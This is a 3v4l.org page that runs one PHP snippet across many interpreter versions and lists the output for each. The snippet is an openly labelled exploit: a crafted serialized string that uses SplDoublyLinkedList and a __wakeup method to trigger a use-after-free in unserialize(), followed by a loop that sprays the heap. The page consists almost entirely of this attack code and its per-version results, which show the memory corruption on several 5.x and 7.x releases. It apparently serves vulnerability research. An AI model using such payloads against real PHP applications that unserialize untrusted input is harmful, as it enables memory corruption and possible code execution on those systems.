3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class a { public $a; function __wakeup() { //foreach ($this->a as $aa) { // echo($aa); //} $this->a=null; } } $inner = 'i:1;:i:1711;:i:1712;:O:1:"a":1:{s:1:"a";R:2;}:i:13;'; $exploit = 'a:3:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;O:1:"a":1:{s:1:"a";i:2;}i:2;r:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
based on g60MY
Output for 5.5.0 - 5.5.22, 5.6.0 - 5.6.6, 7.3.0alpha1 - 7.3.0rc3
Notice: unserialize(): Error at offset 128 of 129 bytes in /in/J21qZ on line 15 bool(false)
Output for 7.0.20, 7.1.5 - 7.2.6
array(3) { [0]=> NULL [1]=> object(a)#3 (1) { ["a"]=> NULL } [2]=> int(1712) }
Output for 7.0.0 - 7.0.6, 7.1.0
array(3) { [0]=> NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> int(1712) }
Output for 5.5.29 - 5.5.35, 5.6.13 - 5.6.28
array(3) { [0]=> &NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> int(1712) }
Output for 5.5.23 - 5.5.28, 5.6.7 - 5.6.12
array(3) { [0]=> &NULL [1]=> object(a)#1 (1) { ["a"]=> NULL } [2]=> int(2) }